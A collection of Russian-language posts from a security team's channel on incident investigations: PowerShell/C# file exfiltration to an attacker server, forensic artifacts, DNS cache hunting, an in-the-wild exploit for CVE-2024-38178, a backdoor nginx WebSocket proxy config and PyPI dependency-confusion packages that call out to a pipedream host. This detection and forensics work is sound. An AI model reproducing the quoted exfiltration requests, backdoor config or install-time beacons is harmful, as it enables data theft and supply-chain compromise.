ℹ️ Эксфильтрация с помощью Powershell/C#

В процессе расследования инцидента при анализе журналов событий Windows на одном из скомпрометированных узлов мы обнаружили факт выполнения скрипта PowerShell, осуществляющего эксфильтрацию чувствительных файлов с сетевых папок на подконтрольный злоумышленникам сервер 🧐

Необходимая сетевая папка подключается командлетом New-SmbMapping, используются учетные данные, скомпрометированные на одном из предыдущих этапов атаки. После выполняется код на языке C#, определенный внутри PowerShell-скрипта и содержащий основную логику выгрузки файлов.

Программа на C# рекурсивно перебирает файлы, расположенные в заданной и во вложенных папках, и выгружает на подконтрольный веб-сервер те из них, для которых выполняются следующие условия:

• размер не превышает 750 000 байт.
• последняя модификация файла была не позже чем 130 дней назад.

📑 В процессе перебора информация записывается в %APPDATA%\tree.ini с указанием полного пути к файлам, их размеров в байтах, даты последней модификации и даты последнего доступа к ним.

Содержимое каждого из файлов, соответствующих описанным выше условиям, отправляется POST-запросом на веб-сервер злоумышленников в формате multipart/form-data частями по 16 384 байта.

В параметр filename передается идентификатор файла, который представляет собой закодированную Base64 строку формата:

fullpath&&last_write_time&&file_size&&host_name&&current_user&&drive_serial_number

После обработки и выгрузки всех файлов на сервер выгружается также и файл tree.ini, после чего удаляется из системы.

🔦 В обнаружении подобной активности может помочь анализ следующих событий журналов безопасности Windows:

1️⃣ Sysmon event ID 11: создание файлов в пользовательской папке %AppData% от имени процесса powershell.exe. В нашем случае создаются файлы с именами, определенными в коде: tree.ini, profiles_int.ini (БД, в которую записываются хеш-суммы MD5 идентификаторов файлов), sys_error.log и sys_error_ps.log (файлы журналов).

2️⃣ Sysmon event ID 3: сетевые соединения от имени процесса powershell.exe к узлам внутренней сети по порту 445 TCP.

3️⃣ Security event ID 4656, 4663: запрос дескриптора и получение доступа к файлам в сетевой папке процессом powershell.exe.

4️⃣ Windows PowerShell event ID 800 и Microsoft-Windows-PowerShell/Operational event ID 4103, 4104, содержащие характерные для скрипта строки. В частности, названия переменных и методов, определенных в коде:

C#: ___directoriesToUpload___, ___fileBase64Id___, ___WritePartInfo, ___SendTreeFileAndTryRemove

💡 Индикатором возможной вредоносной активности также служит наличие в сетевом трафике большого количества HTTP-запросов методом POST, URL которых содержат фрагменты, закодированные Base64.

👉 SIGMA-правило

IoC:

94.158.247.19

#detect #dfir #PowerShell #win
@ptescalator

☝️ Помимо журналов Windows, в расследовании активности, описанной в предыдущем посте, нам помог еще один интересный артефакт, предоставляемый популярным средством антивирусной защиты.

Этот артефакт представляет собой базу данных (reports.db), в которой хранятся сведения о работе приложений, в том числе о файлах и веб-ресурсах, с которыми взаимодействовал тот или иной процесс.

{"application.description":"Windows PowerShell","application.directory":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0","application.name":"powershell.exe","eventId":154,"object.directory":"\\\\10.50.1.39\\E$\\Очень важные документы\\отчет.xlsx//","object.name":"encrypted","timestamp":"2024-05-06T15:44:15.305346Z","user.name":"COMPANY\\admin","user.type":1}

{"application.description":"Windows PowerShell","application.directory":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0","application.name":"powershell.exe","eventId":154,"object.directory":"http://94.158.247.19/files/upload/4c3df659-4299-4f3d-a159-5cca5215f74f///WREQ//XFwxMC40MC4xMC4zNFxFJFzQntGH0LXQvdGMINCy0LDQttC90YvQtSDQtNC+0LrRg9C80LXQvdGC0Ytc0L7RgtGH0LXRgi54bHN4JiYyOC4wMi4yMDI0IDc6NDI6MTImJjM2NzQyJiZWTTAwMSYmYWRtaW4mJkRGNDUzNjI0//","object.name":"encrypted","timestamp":"2024-05-06T15:44:15.305346Z","user.name":"COMPANY\\admin","user.type":1}

Приведенные выше события, полученные после парсинга базы данных одним из наших инструментов, свидетельствуют о факте доступа процесса powershell.exe к документу в сетевой папке и к веб-странице.

🖥 URL, отраженный в поле object.directory, имеет следующий формат:

ip_address/files/upload/guid///WREQ//base64_id//

🧑‍💻 После декодирования из Base64 получим следующую строку:

\\10.40.10.34\E$\Очень важные документы\отчет.xlsx&&28.02.2024 7:42:12&&36742&&VM001&&admin&&DF453624

Запрос эксфильтрации содержит разделенные двойным амперсандом путь к файлу, дату модификации, размер файла в байтах, имя узла, имя пользователя и серийный номер жесткого диска.

Таким образом, reports.db — прекрасный источник данных, в котором можно найти:

• факты применения этого скрипта для эксфильтрации;
• перечень выгруженных ресурсов;
• учетную запись, под которой велась хакерская активность.

#detect #dfir #PowerShell #win
@ptescalator

Где искать сетевые индикаторы компрометации на Windows? Например, в кэше DNS 💡

Кэш DNS — механизм кэширования записей соответствия доменных имен IP-адресам (и не только). Он нужен для того, чтобы система каждый раз не обращалась к DNS-серверам за этой информацией. Посмотреть содержимое кэша можно с помощью команды ipconfig /displaydns, но не спешите это делать.

У каждой DNS-записи есть параметр TTL (time to live), который определяет, как долго запись остается действительной. По истечении TTL запись «протухает» — и система вновь вынуждена запрашивать данные у DNS-сервера.

Windows хранит перечень кэшированных доменов в виде связного списка, а запрос содержимого кэша состоит из двух этапов: на первом этапе с помощью системного вызова DnsGetCacheDataTable формируется полный список кэшированных доменов, затем для каждого домена из списка происходит резолв из кэша с помощью системного вызова DnsQuery с флагом DNS_QUERY_NO_WIRE_QUERY. Таким образом для каждого кэшированного домена из кэша извлекаются соответствующие ресурсные записи: A, AAAA, TXT и так далее.

😐 Здесь-то и кроется подвох. Если домен содержится в списке кэшированных, а его TTL истекло, то команда ipconfig /displaydns не только не покажет такой домен в списке, но и удалит его из списка кэшированных доменов, тем самым уничтожив потенциальные улики.

Чтобы получить полный список кэшированных доменов (даже «протухших»), можно использовать вызов DnsGetCacheDataTable. Ниже приведен скрипт для PowerShell, реализующий эту функцию:

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

namespace DnsCache
{
    [StructLayout(LayoutKind.Sequential)]
    public struct DnsCacheEntry
    {
        public IntPtr PNext;
        public IntPtr Name;
        public ushort Type;
        public ushort DataLength;
        public uint Flags;
    }

    public class Program
    {

        [DllImport("dnsapi.dll")]
        public static extern void DnsGetCacheDataTable(ref DnsCacheEntry entry);
        public static void GetCache()
        {
            DnsCacheEntry a = new DnsCacheEntry();
            DnsGetCacheDataTable(ref a);
            while (true)
            {
                Console.WriteLine("RR name: {0}", Marshal.PtrToStringAuto(a.Name));
                if (a.PNext == IntPtr.Zero) break;
                a = Marshal.PtrToStructure<DnsCacheEntry>(a.PNext);
            }

        }
    }
}
"@
[DnsCache.Program]::GetCache()

Попробуйте выполнить этот скрипт, а потом сравните с результатами вызова ipconfig /displaydns (именно в таком порядке).

Happy hunting!

#tips #hunting #win #dfir #dotnet #triage
@ptescalator

🔦 Как мы нашли ITW-эксплойт для CVE-2024-38178

В рамках ежемесячного просмотра свежезапатченных уязвимостей мы в команде ESC-VR обращаем пристальное внимание на уязвимости, помеченные как эксплуатируемые в дикой природе. Такие уязвимости становятся нашей главной целью, особенно если отсутствует какая бы то ни было информация о публичных эксплойтах.

Уязвимость CVE-2024-38178 — это повреждение памяти типа Type Confusion (CWE-843). Говоря по-простому: ситуация, когда область памяти, занимаемая объектом типа A, интерпретируется кодом как объект типа B.

Проанализировав патч, мы обнаружили, что изменения сделаны в функции, отвечающей за оптимизацию работы с массивами, в частности в функции GlobOpt::OptArraySrc. После исправления добавилась обработка ситуации, когда оптимизатор не замечает, что иногда тип переменной может изменяться в runtime.

Если вы следите за деятельностью Google ProjectZero так же активно, как и мы, то вы уже обо всем догадались 😉

Функция GlobOpt::OptArraySrc уже фигурировала в ITW-эксплойте, а именно в посте, описывающем CVE-2022-41128.

В посте есть PoC, который демонстрирует эксплуатацию CVE-2022–41128. Взяв из него ключевые строки, мы провели поиск в публичных и приватных источниках по файлам, загруженным недавно, используя следующие подстроки:

• 6E6577204F626A656374287B0D0A20
• 206E657720496E7433324172726179

Мы нашли всего один файл. Он был загружен из KR, и эксплойт, вероятно, использовался в атаках в этой стране, о чем косвенно свидетельствует информация из бюллетени Microsoft.

Прогнав файл в системах с патчем и без него, мы быстро поняли, что это именно то, что мы искали. В связи с большой схожестью с CVE-2022-41128 мы считаем, что и эта уязвимость была найдена через фаззинг, который проводился с использованием PoC для CVE-2022-41128 и CVE-2021-34480.

Эксплойт создает ситуацию, когда JIT-компилятор убежден, что переменная X имеет тип js::TypedArray<int,0>, но на самом деле X содержит значение Y типа js::DynamicObj. Далее эксплойт использует доступ по индексу 4, 11, 12, чтобы модифицировать внутренние поля массива js::JavaScriptNativeArray, находящегося в одном из свойств значения Y. Модифицируемые поля хранят размер массива.

В результате эксплойт дает возможность для доступа за пределы этого массива для того, чтобы получить примитивы на относительную запись и чтение. Дальнейшее описание заняло бы неприлично много места в рамках поста, поэтому stay tunned и happy hunting 🙂

YARA-правило (на файл):

rule exploit_CVE_2024_38178 {
      strings:
          $a = { 6E6577204F626A656374287B0D0A20 }
          $b = { 206E657720496E7433324172726179 } 
     condition:
           all of them
}

IoCs:

SHA256: 736092B71A9686FDE43D3C4ABD941A6774721B90B17D946C9D05AF19C84DF0A4

http://img[.]mobonad[.]com/images/20230912/43

#escvr #itw #jscript9 #reverse
@ptescalator

Кстати, про Offzone 🙂

Обещали опубликовать в канале последнюю версию презентации с доклада про маневры ExCobalt — публикуем 🤝

В ней — про фишинг, эксплуатацию CVE-2023-38831 и CVE-2023-3519, а также другие векторы атак и инструменты группировки, обнаруженные специалистами PT ESC, о которых в докладе рассказали Владислав Лунин и Александр Бадаев.

Приятного изучения и happy hunting!

#ti #ir #hunt #detect #cve #malware #exCobalt #APT
@ptescalator

Проксирование WebSocket nginx — обнаружение полезной нагрузки 👀

Проверка конфигураций различных служб иногда помогает найти неизвестное вредоносное ПО, которое не распознается антивирусами и другими защитными средствами.

❗️ Например, в одном случае мы нашли следы присутствия злоумышленников в системе, изучив конфигурацию веб-сервера nginx.

В конфигурационном файле /etc/nginx/webserver/server.conf.d/payload.conf целевого сервера нас насторожили определенные строки.

location /ws/b3a4d3a2 {
  proxy_http_version 1.1;
  proxy_set_header Upgrade $http_upgrade;
  proxy_set_header Connection "upgrade";
  proxy_set_header Host               $host;
  proxy_set_header X-Forwarded-For    $remote_addr;
  access_log    off;
  log_not_found off;
  proxy_pass http://unix:/var/run/shm/evil.sock;
}

В этих строках используется механизм переподключения протоколов. Начиная с версии 1.3.13 в nginx реализован режим работы, позволяющий организовать туннель между клиентом и проксируемым сервером, — WebSocket proxying.

Проксирование WebSocket активируется при получении в запросе от клиента заголовка Upgrade.

Особенностью работы этого режима является наличие следующих строк в конфигурационном файле:

 proxy_set_header Upgrade $http_upgrade;
 proxy_set_header Connection "upgrade";
 proxy_pass http://unix:/var/run/shm/evil.sock;

Строки proxy_set_header служат для явной передачи веб-сервером nginx заголовка Upgrade проксируемому серверу. Их наличие в файле конфигурации обусловлено тем, что этот заголовок относится к категории заголовков hop-by-hop, которые не пересылаются прокси-серверами.

Строка proxy_pass содержит путь к файлу сокета в целевой системе — /var/run/shm/evil.sock.

Для получения информации о процессе, использующем указанный сокет, мы воспользовались командой lsof:

lsof | grep /var/run/shm/evil.sock

И нашли процесс c PID 18653:

payload      18653              root    4u     unix 0xffff74146a3b3743       0t0   25637138 /var/run/shm/evil.sock

Далее мы нашли исполняемый файл процесса:

lsof -p 18653 | grep cwd

Файл лежал в /usr/bin/, и он оказался бэкдором.

💡 Что мы теперь можем:

• ловить WebSocket в трафике;
• смотреть активности в системах рядом со временем деплоя бэкдора (дата создания бэкдора или модификации конфига nginx);
• проверять другие веб-серверы в инфраструктуре на предмет «расширения функциональности» ваших сервисов.

#tip #detect #hunt #dfir
@ptescalator

Страсти опенсорса: мафия, стилеры и багхантинг проектов «Яндекса» 🐱

За последние две недели в Python Package Index произошло много занятного. Мы вооружились вердиктами модели машинного обучения сервиса PT PyAnalysis, дабы рассказать вам об интересных сработках.

Багхантеры против «Яндекса»

Еще в январе 2023 года человек с ником yandex.bughunter зарегистрировал пять пакетов с разными вариантами текста:

import subprocess
import os
import requests

#I am  bughunter
#t.a.neo@yandex.ru
print('it works!')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/example-package-taxi-etl")

import requests
#I am  bughunter
#t.a.neo@yandex.ru
print('If you read this message and you are from Yandex write me t.a.neo@yandex.ru')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/dmp_suite")

Описание пакетов одинаковое: I created this package for security testing. I am bughunter from Yandex.

Но странно, что в метаданных PyPI-проекта автор представляется как Thomas Anderson <t.a.neo@yandex.ru>, то есть использует личную почту, а не корпоративные @team.yandex.ru / @yandex-team.ru ❕

Не говоря уже о том, что Thomas Anderson — это тот самый мистер Андерсон из «Матрицы»...

Этот человек имитирует supply-chain-атаку, регистрируя в глобальном репозитории пакет с таким же именем, как у пакета, существующего во внутреннем репозитории определенной группы разработчиков (в данном случае — команды «Яндекса»).

Установка пакета из глобального репозитория произойдет, если:

🔤 Пакетный менеджер (далее — ПМ) не умеет в расстановку приоритетов скачивания из списка репозиториев. Насчет того, что pip выбирает лучший по версии пакет из всех репозиториев, указанных в его конфиге, уже давно ведутся жаркие дискуссии. В Poetry такой проблемы нет.

🔤 ПМ не настроен на использование внутреннего репозитория. Так может быть на свежем устройстве нового коллеги, который еще не прошел гайд для новичков.

🔤 В конфиге ПМ настроено приоритетное использование внутреннего репозитория вместо глобального, но внутренний по каким-то причинам сейчас недоступен.

🔤 В конфиге ПМ настроено приоритетное использование глобального репозитория вместо внутреннего («Если пакета нет в глобальном репозитории, значит, пакет наш и его нужно установить из внутреннего»).

Конфликт очередности использования репозиториев уже был в декабре 2022 года в известной атаке на ночные релизы torch. Злоумышленник зарегистрировал в глобальном репозитории PyPI библиотеку torchtriton, которая обычно подтягивалась из настроенного внутреннего репозитория. При этом установка пакета происходила через pip: вот и весь секрет киллчейна.

😰 В августе 2024 года мы заметили, что авторство одного из пакетов пользователя yandex.bughunter забрал себе yandex-bot — аккаунт, который владеет 1279 пакетами с интересными названиями, такими как yandex-soc-services-sdk, yandex-cloud-ml-sdk-preview, yandex-infradev-tool...

Во всех этих пакетах автором указан Yandex <security@yandex-team.ru>. Описание гласит: A package to prevent Dependency Confusion attacks against Yandex, а сами пакеты вызывают исключение при попытке их поставить:

class InstallCommand(install):
    def run(self):
        raise RuntimeError("You are trying to install a stub package yandex-cloud-ml-sdk-preview. Maybe you are using the wrong pypi? See https://nda.ya.ru/t/GljG[REDACTED]zAGGz for details")

У нас нет подробностей того, как yandex.bughunter узнал список пакетов внутренней кухни «Яндекса», но, похоже, что компания заметила это и начала договариваться с багхантером. Или потихоньку отжимает пакеты через администрацию PyPI 🐱

To be continued...

#ti #pypi #pyanalysis
@ptescalator